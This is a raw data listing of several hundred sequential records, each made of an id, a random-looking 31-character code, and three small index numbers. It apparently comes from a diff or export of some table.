+11573,UP9QB5KUZQVUAM40QL6WK0K1LWYV0YM=,181,6,4 +11574,QKQX6YGRBYBNJQ69FBF2NMAO7YAW5DN=,181,6,5 +11575,VFMZ0FXXZ19Z8TC8Q0QJJEKE87SUS13=,181,6,6 +11576,ER3ZHF969IQUM8N25IPQ9U0UJQYDDGD=,181,6,7 +11577,D5XTK7X91M6QVR22ATY09PNSGA26M73=,181,7,0 +11578,KXTUZGT4MO7RKKUM04UR6M993OC2BFN=,181,7,1 +11579,2GD86M8PVBG35U2XOQHYOY1OZWDA2UD=,181,7,2 +11580,4N35NSK4XTYBRP1D4DDLKN6ZG0VI70U=,181,7,3 +11581,CZ3GBE1F7O4FWHXY9MRK1XVESIBPLF1=,181,7,4 +11582,J1FF2J0YIRJYGDEFK1A09DTZ7UWEO11=,181,7,5 +11583,26E9DPXU7FKZZY31JTC2G2EYMUVF7ER=,181,7,6 +11584,KRK2557BUR5CUVVMUYTS49BHJU8GBZV=,181,7,7 +11585,FHOBOO26I5FOR8IRAXICOFMOFTIOM06=,182,0,0 +11586,F0379IO7PZWJTKS1PL2VGANOLCEJDAJ=,182,0,1 +11587,1W3GZIPOF3I51E5GWR0A0ZM4DJU8S3Y=,182,0,2 +11588,I5NW9COGFK0WX01DWO3S4JGA1OD3CBU=,182,0,3 +11589,FOGE7DMG4EC478IYXL42JYFNADOEDXV=,182,0,4 +11590,M3UJ1QYGPFYBPNIR1FA2ENOVQ22G7LP=,182,0,5 +11591,TJI71RFU580AE8I1SPJSVYP1U98I2AG=,182,0,6 +11592,T3Q0TLH5TE1JCWMLHKASNZ41F8MVEMU=,182,0,7 +11593,KTDMZL0M7E71MNCAQ1QO5PZ9LWURV7M=,182,1,0 +11594,GO4UZVB2PAA5GPLLV0A8Y42APBZ6TKV=,182,1,1 +11595,G3POGPGS02O0ATMP2K5ZNAT91A6DK97=,182,1,2 +11596,ICEVNMDD9OT4ZD434GG4MVZG73OLRA6=,182,1,3 +11597,L6RXAVCWVRHAKQEYT4OI7O04JH8Q3AU=,182,1,4 +11598,34RJDHKM8K662J9NTXVLKIBFZ4QOW9G=,182,1,5 +11599,5CV83CANBC9CWTB0PLUUO1QUF69SJ8Q=,182,1,6 +11600,MCY03IWRLNSZC7J0KL94BF7O963DAU4=,182,1,7 +11601,0ZY77JOEO53PVVQ1PNQ7FW6L3A5PLYE=,182,2,0 +11602,SY5IYE8AQZYPPSI1M26P3QHNNYOEIRC=,182,2,1 +11603,TLCNVOG8QN7NCYB6AXSUMHZ41EY5O43=,182,2,2 +11604,JRAD4KC4DCMQQRQDY317RQEB2W24BBU=,182,2,3 +11605,HREFI2K8Y413T9X5M5THX2ZL3P29175=,182,2,4 +11606,C3MBUAYC6REI80ANYWTHBCL3N1OZJIV=,182,2,5 +11607,LM2JBOBVL19VU2I3KV1241XG06MPKII=,182,2,6 +11608,J296T05FD75CTTS14227GG6GQYWROFS=,182,2,7 +11609,7NZVLPH6HTW83ATNCSE36DZ9A2AF4HD=,182,3,0 +11610,CL0B86MBDZFB6GRWRMBSJBMEQVLDPZ2=,182,3,1 +11611,V05IXTG9NOPENJM3S00OMCUSCKB5E9V=,182,3,2 +11612,49K0GR9QS02K9TEW5L3RBDRMG4J2GX9=,182,3,3 +11613,1GD8BCU040FMS557DD9IMC1H31NGQJ0=,182,3,4 +11614,DS4DY6DH0MK4TKNID831VYN613ASSU2=,182,3,5 +11615,M5X8760PE45SS02NEETGE7NTFGDCMKE=,182,3,6 +11616,WS9ABBWK4V3M990XQENO65RC5EOBCWL=,182,3,7 +11617,F5GPB4XJJ0TQEB8ASLWW61I7W4ACVR5=,182,4,0 +11618,LFWAD4Y628PID462AJ99KIUHPJEM013=,182,4,1 +11619,5MHK3Y7ABYUDPZ4L9AHB2IE8BBSHIHY=,182,4,2 +11620,HD2YVEF5FUAKC3TW7A7S71WO1G62TXJ=,182,4,3 +11621,2A6X82G180PVOAWTX4ZRH4LG1HB1PB0=,182,4,4 +11622,MAAM0B27C1QILVNMTYOF9ZLKQKHAK7A=,182,4,5 +11623,LNUI6WEOJSEZ7KAGKKYORM7AS45OKVZ=,182,4,6 +11624,XQJ5MJ39OFQ3G0DEMG2J9FZT91JN9KM=,182,4,7 +11625,TC5DAOY59XTX9LSJ8VL4Q9CMBGIKRIH=,182,5,0 +11626,11VH9TODFVFHPU5BRP1MWGTXXLCAYWW=,182,5,1 +11627,0RWFU57OTRUVFE1WN8EZQBSU2V2OGE3=,182,5,2 +11628,84ASIU18GCKVRTATH65B14UXTPBIT7B=,182,5,3 +11629,J3HBWODAQLMA7G9XJX1RHXCYW72L9TR=,182,5,4 +11630,BOKPTVPMGRJP8TK4LNSA6G1XAJO8BRY=,182,5,5 +11631,INXUE3RY48LSLHPGYXLSLBQMRZ98N39=,182,5,6 +11632,VPTWWWPFV9PAK0950KN2M2CGV9ILGDU=,182,5,7 +11633,LRFO2GHSR4OVZQKQJPEVRNRG6VN6UGB=,182,6,0 +11634,NBPLYHN8Y4EWLUTVNTTA7PGG54Q8LJ9=,182,6,1 +11635,MMKOOF0IY5SZQ06OKDPLAKORRQHYN49=,182,6,2 +11636,VJ1BOCOKOJ915KB23OP9QJV3JD7J3ZT=,182,6,3 +11637,PF6QM2FRZG2ZJBQD10MRB4O6YE540EI=,182,6,4 +11638,VP6YSE9UQYDZ5696WWEWJWEJ0U4PHDB=,182,6,5 +11639,TV250CSFDV1EZ10F1UID00ZPYNWOJAE=,182,6,6 +11640,YVT8GWWDDXAFDJVSKSRKHPGFXMTRAVZ=,182,6,7 +11641,R9T1UT26GY4MH23PYJ4N8MMADJGJGVX=,182,7,0 +11642,FV7RQ33JUD6WSXVAXHML8N824L5CBTL=,182,7,1 +11643,7HD1R1ASHDG98ZN5AIT810P2SKKUMJQ=,182,7,2 +11644,O67DRZUVHSOZW8HC5P35IXQZMOHYF0K=,182,7,3 +11645,46VYERS2SE683D6EANG4KYLHKVM11OJ=,182,7,4 +11646,QTGI7HWZDPDK7HFZTRJI666B3PB5N7D=,182,7,5 +11647,BYVYUACD0JHM8VM8PI9AL4K7QLOPBMU=,182,7,6 +11648,DW9I9HM2EEQO4D3V3ZIGYSWWSAAN0V8=,182,7,7 +11649,LF69UAECDCU55DUM8407TAEDI2BUEHO=,183,0,0 +11650,JRR23B7CMEYMJCXSAVE74WLF9EF2JSO=,183,0,1 +11651,FHGE4I6ND7M9PMN0PXQV4KK3XZ22POW=,183,0,2 +11652,XKDCTH4DD38UMB4T7HCMS2CLQKAZOMB=,183,0,3 +11653,CBF4YDVRVKJS56SAXVLHHR0LALB06ED=,183,0,4 +11654,CU5PQ731QRLRTF4UM8YNGQIRJHGV5UF=,183,0,5 +11655,TANKK7WLRTLETRKXT3G6NS8XW469FRW=,183,0,6 +11656,3S624R3ZQNI59U984Y4PBIG46GUDM8A=,183,0,7 +11657,GEYHUMTRS7QWP62TLZQXRMBMVCWY839=,183,1,0 +11658,W9ZUFAU2P6ESFI9MD8HOS6V0LI66Q2P=,183,1,1 +11659,OPH1TH9H4AMQFX4ZB0LVIN61YO8TEBD=,183,1,2 +11660,JIRXQ7Y4HRCTT8ONNJSUCIA62U58GZG=,183,1,3 +11661,NQJB6S11451UA5XMM9Z79F609S38N0D=,183,1,4 +11662,637S1YP490S6MIW32X13INX6B5895SH=,183,1,5 +11663,FE3RGMPHEBSCKV49J9J679OALHSYUDO=,183,1,6 +11664,JILE83QNVVKSAP9UA6IZ5ZRE3TBXWGC=,183,1,7 +11665,C4OT13E09XPCHJZ730AARWSK459OZU9=,183,2,0 +11666,J2UEVVKMBINTBPUZ3Y9IVSNR2SQFO76=,183,2,1 +11667,3NTOGBSGUF5F84GOGUZ9QH3RBQNMXQF=,183,2,2 +11668,GCB4L78A9PFQBD1R7VGZXJ9JL19PJD7=,183,2,3 +11669,KH5N53L09BLFYDGS5IFMWHJ62E8RZI2=,183,2,4 +11670,6B8E587U90LAHI4RB3Q4DT79FH19L95=,183,2,5 +11671,K1SZ32HCYH99E3A2103B0KV358CBZV8=,183,2,6 +11672,RWRKLYXBKMUN8ZOF1HQ7Z41ZBMV1PK6=,183,2,7 +11673,Z24QPVAQ1BX3M86ARERQ1DHDSFWDPGX=,183,3,0 +11674,3LV91NS5XNQTL16QAA1F43T48YFSBYL=,183,3,1 +11675,Y480PLNZ3IPZMOC4WIYCQTSIA5N1N1A=,183,3,2 +11676,YLUPYJDFI82KX0ZAXEXOM3MX4DGM6PS=,183,3,3 +11677,OSEDFSV6G48PRL1TZUZ02BVVOJKMCQE=,183,3,4 +11678,95BZHD2O3Q77UDAI8D5183H1I7PVLX7=,183,3,5 +11679,FUN9RP41EABT6GCQ4G0JLDI8JDOMD14=,183,3,6 +11680,38X8FKV4ONZWI75AYMV0FR7F36R3YOO=,183,3,7 +11681,9O1PXFFLHHYPM6BPB99FFRWINBGXHDD=,183,4,0 +11682,25W3D3AX0W97K71FPMQKF7ZP4K81L2C=,183,4,1 +11683,1OTOY1CY1O8OBGLA2JR0R6AQQ8ZR5YR=,183,4,2 +11684,Q21L43I4Q2J6R3AWJS4630DAXW5BJG0=,183,4,3 +11685,N1W9R9XVKIO0DON86NZTOQOGVKB39VO=,183,4,4 +11686,07478MKQ4BW9GZZ7DFLYUISXTBE0XN5=,183,4,5 +11687,BBELMTH82I5GDGIR4EUGG9EAK10SCY2=,183,4,6 +11688,9GTIAEH79VVMP1DRL54OFCHWVAMVUCQ=,183,4,7 +11689,P7BLP0XJTAXMSB5QKVVNTON47EL2G69=,183,5,0 +11690,KV0Z2SJM3OLW4CDWP0SG9FZ0ZWPYZ48=,183,5,1 +11691,3AX1OTROK5F2L37AVUTLOG1RGXG1BFA=,183,5,2 +11692,VFJQIGHYE9O8ZPMXMNVUS8TWXY489PG=,183,5,3 +11693,LP7IWGNYJ9QC374LIBEKZ60WMY7KFR5=,183,5,4 +11694,6QVL3RV1HR7SG07A7K7UUWDFM50RFLI=,183,5,5 +11695,329M24DR2G0COM6CPAPQTF48Y5UJMTQ=,183,5,6 +11696,TN6QXF79IVLJQ6D9D723X99DJ4K5I81=,183,5,7 +11697,5RBKP89LBBWYNBFYHAX2C854OS03ZGX=,183,6,0 +11698,HWLPCJK1OL5HKO4220LGLT5SFU87R3T=,183,6,1 +11699,XSP66CFBEXLP1SL4GAT6RG4GNJXYSJ8=,183,6,2 +11700,RFHV2JUL5QO5EY9I311X1QRDL5GZFVS=,183,6,3 +11701,39D9WXVP5JMJN6YFLXYT6K2IO3BGYHA=,183,6,4 +11702,RS9BH417A2UM00DR0AK0QZBHY96PSC8=,183,6,5 +11703,PZ9RNRRMC5F0GBWGE7A746T74SN1DL2=,183,6,6 +11704,KFF58CCMLUOCIMVLQEGF57G3FXGZ1HV=,183,6,7 +11705,OTFFYS4002LD2Z82T2JX9NXSG2CFKNJ=,183,7,0 +11706,FO5R99ZNL73AP0KFVY4KZAFUDQIK7LH=,183,7,1 +11707,GFYKMOEU65120RFK3DTYHAX2VLOXBTH=,183,7,2 +11708,UW8WUC7K9HQHDXBZJXXRIO7CASYK7TB=,183,7,3 +11709,9167NRLQIL8ZQDG68CYA5H8LT2XI7TW=,183,7,4 +11710,ME998HU71EXXUUQ3JX6Q8XFQESOOYJ0=,183,7,5 +11711,0K03A890BM011YYZVR5LLJNC1K2SZRH=,183,7,6 +11712,29QH7YU6NLVKUYEDRY87S5ZG8WN161M=,183,7,7 +11713,LHGVR4EB9L8QP5FB9SDYL8EO9DTS14M=,184,0,0 +11714,8VFBCCTG7TYXF19YIS5QM3GFBL98TG5=,184,0,1 +11715,PQGMTDRD8OEJ313P37Y76079O8N6BM9=,184,0,2 +11716,WW0JSEGKYO3BTEIY6DV1QZJM4NGJ32W=,184,0,3 +11717,BWS1PYOKPJJZJUU23GATNN8BY7S40XU=,184,0,4 +11718,RISOHYKCXN9MUEDW7N6LZB1ZIUK4BIC=,184,0,5 +11719,YF89ANN2KEMN1OPCA0V5I9SHR0O2D0H=,184,0,6 +11720,ON9B104YKMKF4OBKJLY7UJ8ZAYBCUNN=,184,0,7 +11721,TBRLZS5JMGFCWUR5WMP9NZ1XAWRZXBO=,184,1,0 +11722,GPWFBVB72E1FD5J1IH9JRXP7T6HOBU2=,184,1,1 +11723,MH04VA1LA9UKBF777009XIJ9TLLVRO3=,184,1,2 +11724,TNIYON9Q5IZM1BGW3M3O0J4MAEGQBRK=,184,1,3 +11725,SRB52KY58V6SS5FBHI7ZZ162T5065HZ=,184,1,4 +11726,7JMF6CNGJPZ30Y99KNQ1HZLN7KW047D=,184,1,5 +11727,3BBYQZ3085JQY5VCB6SYNGGN7XZ8AB0=,184,1,6 +11728,KRN4CEE0KRUMBF1LXBYUDVUPUTOWSQC=,184,1,7 +11729,K6821QMDOAV46FCS4ZL8XUCJVU7DB1A=,184,2,0 +11730,IBPE0PZCG4KNK28L4P6YOW123L45WB6=,184,2,1 +11731,74FLE8MAEMXC5O6PZQWD115DZ13YYO4=,184,2,2 +11732,OAV1KUTVOYX99Q14XX2OA1UOMSV2ZQU=,184,2,3 +11733,O68427ZEYNSTLEUKMII6YMHAZVK1N9D=,184,2,4 +11734,JMMJS8VUT116F3EOGLT2K5YFCVNZ9YI=,184,2,5 +11735,J4ZKV3XU6S7AB0WHYPAHRUVW5YBSCRM=,184,2,6 +11736,6PQ7W9J8F7K6HS04YEOE7W6SA4K6RLQ=,184,2,7 +11737,I5T6DUTENOQ73BJGXZ4RMZUCSTN5DCJ=,184,3,0 +11738,G7SO0P8HN19ZRL899256M9NOJD727SZ=,184,3,1 +11739,7LVOY34YNXQGGWO33RS3B0BCDIXHM27=,184,3,2 +11740,Y0K0J3WS4ADJP40YUNP3T4PKC4K23GY=,184,3,3 +11741,J6YCPFSKQ8NFVSMPUXOXWQ4LAKGFISL=,184,3,4 +11742,GY645NZ8AMPFWTTFJ2YYMVPF8OS313A=,184,3,5 +11743,73D036PAKUC5GNNT7LV3UGRVLAHUEGQ=,184,3,6 +11744,VMUWXSN4HWXIO29C1QBB5430TNKOGVS=,184,3,7 +11745,OEP88ZCBNRO3O3NV9YF9ZAFMJT2UVL5=,184,4,0 +11746,RQ6JJLGAWBPH05Y6KVBLX1JDIRS8DVU=,184,4,1 +11747,Y36JTROA7838EOFGG4GDD7FI5YM0R91=,184,4,2 +11748,J038YZ6CB26C11PWDKZHYY6Y66ZAA8S=,184,4,3 +11749,A18V571UCMUGV9ACF2MMWNI7INOXO95=,184,4,4 +11750,WD6NW8OR843R98PGU1DD0TNW4RE53P3=,184,4,5 +12556,JNA8PFD7RDLIWYI47XV7D6HN3301QSM=,197,1,3 +11752,PLBB1YLGY2P4F75L086UZ2HU1GGAS9S=,184,4,7 +11753,8VUMJRK6UIVW4D7RW5Q72IBP1HUKLSQ=,184,5,0 +11754,EMAK3HDIWK85LV7HB44A0QM6NAF2OV9=,184,5,1 +11755,ONGFADIH0UJ6T81LHVX9QN2QO9UWZ4V=,184,5,2 +11756,38U0IM1EPD7CV3R0EJW43TLEQSGZEZU=,184,5,3 +11757,17UGXLONQ0VCSWEVVHM8KGI4J37D5NY=,184,5,4 +11758,4GEPE7SWYBS29W8X76BRSC18CDTHJC7=,184,5,5 +11759,IEFSPDW5TYDO0NML3TSJI7FWM96BQGA=,184,5,6 +11760,TAL6C5WSGBT3LN4CQNQ8ML7QWOVR5XD=,184,5,7 +11761,04EE9UCFOO8058EB42B6IK6QLYNCB32=,184,6,0 +11762,46A89MWE7VFN6SZYE7V9QK5ELCZTFAC=,184,6,1 +11763,DESI8BDFI70CALOMP1FNDHSEODDZ7GG=,184,6,2 +11764,V95Z9ATMBPOWHJQ7ZL32A8JXKAM1EXK=,184,6,3 +11765,76I61ET4BI3TXYQ4V8A4KKC6HRWPJVA=,184,6,4 +11766,3XY6FGANU5S26Q62HH3J5OLA0896583=,184,6,5 +11767,488NY64ITKSUW0MQMYHR2C0VP9POA8F=,184,6,6 +11768,IEAUG5QEG9OI5IN4M05VOCJ9OY5QC5C=,184,6,7 +11769,M6V8LB3082XYIL0ROFSHXKGOQ5YFABD=,184,7,0 +11770,I72JNBT2E6TR7GEYJSVSQFPHR6AA8XN=,184,7,1 +11771,K1LVU3MDQLWGAPLCVHSIDD3JW71MLBA=,184,7,2 +11772,PGPBNSYFU0498H1PE10LFW0ILUXDGP0=,184,7,3 +11773,TP5AI840X3XIY0AFPBQPY1T2D1ZWMGP=,184,7,4 +11774,FCYIM1MDTLE68WY9PWIWBHCS4XTFKQL=,184,7,5 +11775,SV0DG00NNJ6JIV8TPJQJE9ZIHTV0LWU=,184,7,6 +11776,ZSBEC2H1DVDR9PDCERC9VGTKZSDIY6E=,184,7,7 +11777,MAJHYU3WZP6N6RX179H1Y5V7BJWE5HB=,185,0,0 +11778,QDNBKK4JLZEG74XXDRAATKRLFUAGWE8=,185,0,1 +11779,LIXL8HBKJKCR5DCWVHC0KXX4M4VPP44=,185,0,2 +11780,FU93JRUW1TL0S8O9WQHS2TNUO5ZIUTC=,185,0,3 +11781,5608ZROL8PBRBP3AY1BZ7XPO8E2DTR4=,185,0,4 +11782,617PKXM0XI3IOJUP31WG7YOG5A67Z8T=,185,0,5 +11783,6RXCZVGCO37YMQ42OEP76WXBITW5KLV=,185,0,6 +11784,GNWPEK3UC24ULK1QOXMEH2XWC3IST62=,185,0,7 +11785,CJWXSSZ0EJRX3P5Y6UWGI1JFWTOS1ZV=,185,1,0 +11786,DERYTHWORLI2003CUCZUDMPTPB99U7P=,185,1,1 +11787,N635MVB5NEXPHWWRW4UQ7F5KI0J7WPG=,185,1,2 +11788,VTVL1PBHBX99V4QLYG743JOIVDP4G6J=,185,1,3 +11789,5WEXEL76UC66NH9BQCZPWNS45XXWV3F=,185,1,4 +11790,N6R197M462SUALJSK5YTSY57GIGRWBB=,185,1,5 +11791,BYCRYJ0K5CX3XLYVOI2NJN25C4ZDVFM=,185,1,6 +11792,831BS6XKALLLSV5D9NB747PJT5KJ14M=,185,1,7 +11793,V7MHFCBYOQNAX1ZPDSK3MQKN263I5L7=,185,2,0 +11794,XXGEZJX9AQWUYP5VZNXSEUU7OXWHQ0T=,185,2,1 +11795,WJ0KWFJNBS8U53V5WJBR2EA67U6882B=,185,2,2 +11796,CVSI5MVS9KD1NDZMXUK3TQMTXUTVOA1=,185,2,3 +11797,S8WNONZ7ZAI1K3UE7SNP0GKLARWN7MY=,185,2,4 +11798,69AQH3ZSRMY4OFFY5P4GHAL9H0EH8LO=,185,2,5 +11799,776W8WVTMQ1NP7HBDSMN9CKMKIBWO4N=,185,2,6 +11800,YQZRRQ7F9N7GHFLRA3E96L7HD2NKN6I=,185,2,7 +11801,7K1PXX3US2ZK7UIQ5DQX6JZ4ODHLEWG=,185,3,0 +11802,EAB9AYA6OEV98O2642L128KIE1MNPLO=,185,3,1 +11803,7UWWVGWTTCPZGHT6M3MEKR1YM0Z9LY2=,185,3,2 +11804,QQMGG5LTHDIWPTCOSQ0OFDCPIMBZ3RK=,185,3,3 +11805,IXTDIWC4IS7OHBHWZ3B3RGT78EPH84A=,185,3,4 +11808,DRGUSPS3EP3PF4ZM5SD1H1TIHGUWXZ2=,185,3,7 +11809,SWQKGFAR09YTWI8Z0ZYCP1HX9Y1ZZEE=,185,4,0 +11810,8RSQZIZ057CVDEV9370FVE7BD98R74T=,185,4,1 +11811,DEXTJGYRUHZ7YT3R9NWBWAI8SCLL6L5=,185,4,2 +11812,MK3ULQYOFDBAOKR72E55PNIECR70FOC=,185,4,3 +11813,BRAITA43M3S7W4UXTT1P0K3HKXX8BOI=,185,4,4 +11814,K85NFDLTBY3Z3GL26EASOF8JAZEF46X=,185,4,5 +11815,2SALS5MTZWA5LDSYO23GE0MSXW1LNJ8=,185,4,6 +11816,C7DHJCNX4HHJHA8OYT4Q4BCIBWKAFFC=,185,4,7 +11817,QBFOGAA1W8SR4LNABS4KOH7T2ROAYM2=,185,5,0 +11818,81EFZISCJULOQO4ECBM8RL9IF3ZS3MU=,185,5,1 +11819,KW8M7YBDGZWGDP1C878SALPTWD9X4P4=,185,5,2 +11820,K9STMK5BIRFMYYWU6PY46VDB8ZRQPMV=,185,5,3 +11821,OBKPFW3RYVANR3PATQEO7AERBX6AP1X=,185,5,4 +11822,GQRQNIJA951MPCTTI7JVRR1IPJNS2QG=,185,5,5 +11823,RMVPERGVIZCE0306H42JC6VBJ7R8T9H=,185,5,6 +11824,O755LOSIJ5ADZDGWHPD9NTCT9T1LY9Y=,185,5,7 +11825,LAX1U61XJJ69IL1CM3Z9Z5THZQXCVGX=,185,6,0 +11826,K8A9QBN4T2BQVEA82HTMZ4LRYDBKPJL=,185,6,1 +11827,VLZN642S7O1MYKO4VGPSUOQPY7F7BW3=,185,6,2 +11828,26UBAWRAE9D6AB6XE7QZ3194PE3PK5J=,185,6,3 +11829,LA2NOQC6L83GWXJHENAZYRE23L7TX78=,185,6,4 +11830,WCJ7OY2KIJHFXHSNJJF8QE2TN7P6EMJ=,185,6,5 +11831,7J1WGSJAGX5CV797CO3Q06OCIBSD8GL=,185,6,6 +11832,01J42GV54U92AZNBYJGRKAI7KH9JLEQ=,185,6,7 +11833,U1NMEV5UTKWGF7UVDAN7PFT2FMSC157=,185,7,0 +11835,YKF2X4PUHWTTJ560LVLKSJ79HWUKEWO=,185,7,2 +11836,1A80DZ5EW80HZB2YU09BU494B98QR3Y=,185,7,3 +11837,BI389TWUW9QCK10V13OW68YC7AGADFN=,185,7,4 +11839,L3H10CJG44TZRAEQN2DASMT3C8V5CFD=,185,7,6 +11840,W4F4X7E3HTNFCYYU43WNM6BBS0EFXH3=,185,7,7 +11841,TGVKOVCVD6G6RGHJIWBG6964J8UQV13=,186,0,0 +11842,R5UBUAAN5UX5JUJHCCF55W6GHSNBX4Y=,186,0,1 +11843,QZ8FOEXZ6MPL6KZMF8RIOBVDQUK4KF6=,186,0,2 +11844,U5JH8DV9DOWIGQM0KX6CRG2B4C9NHTW=,186,0,3 +11845,Z5DKDAHB4T3Z80SUDTHHR6HJJMLC08T=,186,0,4 +11846,3VSIFZV7523XHBFKAOBGK2IQHN9K2D2=,186,0,5 +11847,7V9N5U0PSVIHM0GMOJEACFX9VVV1VQT=,186,0,6 +11848,V2K4O3Q5CZAZPM9N05B4C9GHXUWT08R=,186,0,7 +11849,GR91XNUPI7ZPDY88YS5LFIQIC7JSSVL=,186,1,0 +11850,90PRUK4K7DMVPFQSM92DXB20KJPDWTL=,186,1,1 +11851,RBNWQ6LE0NGMZTHJR5YJ16UN8DVQVHE=,186,1,2 +11852,EJ18H04HXPC0JL9R2NT2OLOUJDDXZ75=,186,1,3 +11853,PBT5ATOGJVO3NECLICXZPJB2WJ3AELY=,186,1,4 +11854,08FIU5VI1R03DDZHZT621XYPUR0KEHS=,186,1,5 +11855,IPM0HJR36CK7JD6W6A37LMFB5ZVV2F2=,186,1,6 +11856,GGCP4MYEKEDPGHQ1JGLZKXRLZFZMM5M=,186,1,7 +11857,WD3JZERDULNUKB034YIBGCEXJ9LJ8MM=,186,2,0 +11858,05IBZH2KKX45O5AS9WMCDOHPJH75Q9G=,186,2,1 +11859,Z0KFUWQT7AMACL4S3V1EMA1QDQV49FG=,186,2,2 +11860,JL1QMF38ZEU9QQ4PE05GZPMCNQR289S=,186,2,3 +11861,0R7KQMGVB6YUXGMDAQUC6LMV3W998KP=,186,2,4 +11862,JQYHNKD2GJT42S7JK81EU1R6K5AOBM0=,186,2,5 +11863,OKWKI81E5RFBHK13SS3E724MTBS86O8=,186,2,6 +11864,G9XRBFS0H1EGZJOBPQLFLOMVT4PZY4U=,186,2,7 +11865,LJENXK7P9XD7LEPN09VO5FAYXVK5I5B=,186,3,0 +11866,YTQKFY01DBUFXM0MRU4FZSYQ4DUB6OP=,186,3,1 +11867,I51W0F2L3KLU9AJH6A099PWBBDW61GK=,186,3,2 +11868,I0J5BBHK769CNG1OM7AYGRDH2KH5S1N=,186,3,3 +11869,QN2EFF3EK3SMJU2PZT24I2NPEHPCLMG=,186,3,4 +11870,LOC0K0ZUIJ91JTO2AXAFQC2GUTJCXNG=,186,3,5 +11871,RR8L9Z6AULUIACU8DWTO2PWPYYD0OU7=,186,3,6 +11872,9OX4FV3YZCNDYD6B65QNUF6618TQRRU=,186,3,7 +11873,JZZCVFR3BGPDR5GGJNL4423ZMYNAHS2=,186,4,0 +11874,K9DG4S4QXSGVXMDCU7G64JIRIFORITJ=,186,4,1 +11875,53CIRLUKYTHZ0971YS36L44ET3JEF40=,186,4,2 +11876,C2IATJEQF1OC545GZWUPNXTE2KEZ8EK=,186,4,3 +11877,CA3EK98NEY4RHT94UROTRQXZ9YELR2P=,186,4,4 +11878,EFQ52QW1K75VDXUP4ARMIG9J12TCJM5=,186,4,5 +11879,EAS4RZKA5U6VRZ2XFAXY8W50LP5VTJW=,186,4,6 +11880,LVU85WHH1VUX2Z23O8YA41K76PMY71N=,186,4,7 +11881,213RGLCLR463Z03GWLIABA4G8Y39A89=,186,5,0 +11882,7WKWKBZ1MV6H9LF14RYP5O2O8V8XJDY=,186,5,1 +11883,FP9B1INJ2S9CIRRI93SDCO1RU8K3E0O=,186,5,2 +11884,IDR52BYWUEZWDB8W0INPBDVHFCVFBS6=,186,5,3 +11885,P6IFP0WAWSXIWZJL5UUVLMPXURBJXVO=,186,5,4 +11886,9AV96JJ9330ELDKGTTSE840GZC9AO65=,186,5,5 +11887,WFD0PWUNZPSPLC4V7PFUAOHW1X0ZQ1M=,186,5,6 +11888,GC0MGHI6WK38RWPCX7ZGPZCX0OH0L7R=,186,5,7 +11889,DVQEFGT11NNMLT8G9NZOVEK2TA661M9=,186,6,0 +11890,RN756SPJSKOUYMG5XF761NX1M95W9PW=,186,6,1 +11891,JUID4WCKE7G1O62M5FHZDPMFZG4B06M=,186,6,2 +11892,8SPFYQA8054PTRPUTZIUT5QIRD72F3N=,186,6,3 +11893,7DZXXNDPNEBKOEBMDTH8AWX49JG2EJQ=,186,6,4 +11894,4ZAAZH2YO4PNFZGNQ4WGS2UO0FREAKB=,186,6,5 +11895,KWTEYUZGWVGKXH9E7V8Q2W1M7GDDESF=,186,6,6 +11896,XUH4M1US8G19VR6JJGH11PKHDIYO4X7=,186,6,7 +11897,EQQJD9K6IF6KXOJ1AX7L8N90VGC5GPA=,186,7,0 +11899,WIYYKNW7AX7CKDTQBVRX4MSL3MNJMNH=,186,7,2 +11900,NHYULBCWLNZNCOY6X6ZIDK0WYF0Q377=,186,7,3 +11901,LIPC0Q62Q5LNDTIK2TX1HZZA1YICVEC=,186,7,4 +11902,PLUNLKA1E9WDRSB0PV63FN2YCS89VGP=,186,7,5 +11903,RYXYIUIDZDKAQ5TM0N441UY559JG2Q5=,186,7,6 +11904,UVKDXPT61NKTLJ84335EBOSBZVC0BMH=,186,7,7 +11905,BFTQY10GGV5SGPCNX04Q1JRK2VNJX6V=,187,0,0 +11906,R9K0IJ240PBN3QUWVX6CQWZA86P0IQW=,187,0,1 +11907,VA69ZCKZYX5RXT1ZVDGALXQ1G3JF7PU=,187,0,2 +11908,RH19BUWSMMJP8HLW2DIS4KBJ9QDEHCQ=,187,0,3 +11909,4NAQ84SRPARIZBACQZ8OPRZ0RX6FPM9=,187,0,4 +11910,PIJZIOL4GOHI98TZYSCKACV7J1AFB09=,187,0,5 +11911,SH4F88R5VQRPE9DPE9H1DSE99M34ST7=,187,0,6 +11912,KLMDW49VSZ9G4QY8NTP1XKEONILRM5G=,187,0,7 +11913,7R6R8UM8DVFWQ6W0V9QHIYDW57FYIUD=,187,1,0 +11914,LC2EXXHF1NLO0DIII35I961UGNB1IHU=,187,1,1 +11915,YBDQZ7XKJV4E5CJTYLGZF10HSDO707J=,187,1,2 +11916,Z3VT616UEHX9K0MWJIYFEUZSOXV2NHJ=,187,1,3 +11917,0WZBPCG86N280XI59QTOPW7WBWFMUL9=,187,1,4 +11918,YBOO1XTLKOIGFDSKIZY4UN72CRNSCYU=,187,1,5 +11919,ONQVF92NV9QSTPS9PPX2SI1K1MIS24Q=,187,1,6 +11920,9JU7BGNXAK0ME7GBQSCF3R1UDUYG0GL=,187,1,7 +11921,YVMPMCJBVJZBIQZWO273ESC64TQTMWR=,187,2,0 +11922,DARYKY34NYKO652HGXSSQ0DMCD7IDLR=,187,2,1 +11923,X3PIRTJHDGAAXM7BXCKCEAKV9CJ5AL1=,187,2,2 +11924,9W9NGE7DHX7KCX4YMLKDSJQOQ4MROW5=,187,2,3 +11925,YTWQ2MJUZOVE0OG0C9VFM4KL4SD9RI7=,187,2,4 +11926,G5CPV5XDKEQ6F6E2KDUT2I4XC48YPG4=,187,2,5 +11927,9SI8IMLY2NP29RIQTIO1P2LX6O2B3XX=,187,2,6 +11928,0D89QBDAS2OKPZAB1ZGW3O9CJWCOG7Q=,187,2,7 +11929,SSBNDX0SU6C5SXEMIDJZ94RZ97OCS8A=,187,3,0 +11930,T22HUPR70QNPR0SOS41L5JB5YRM9EJJ=,187,3,1 +11931,6CIA2QFLIM15AS7T7KIDIRWR9R2VAJI=,187,3,2 +11932,4MPX06AOY6OI56F3BLMBKFAR91UARM0=,187,3,3 +11933,DXQM5RZQH03P8LL438NNEJFD4XJP1OV=,187,3,4 +11934,5B6SLDVJQ7ZEGW56QZMVY8RTBXSNTX7=,187,3,5 +11935,1SQ4D42281JNWNQCBCQ2K4YTOMIYYC4=,187,3,6 +11936,12F4HAEZSH7X5857R1WTJ4NSYFCKI4Q=,187,3,7 +11937,O3QC43BRGGE53RM9CHBAAMJ9AGQBS3K=,187,4,0 +11938,FVBH08L76QCHKLY3Z91L7ATOO3PBJMO=,187,4,1 +11939,Q0RNYZBBLSAHQ5GF2GX6C1YNYL1XTMJ=,187,4,2 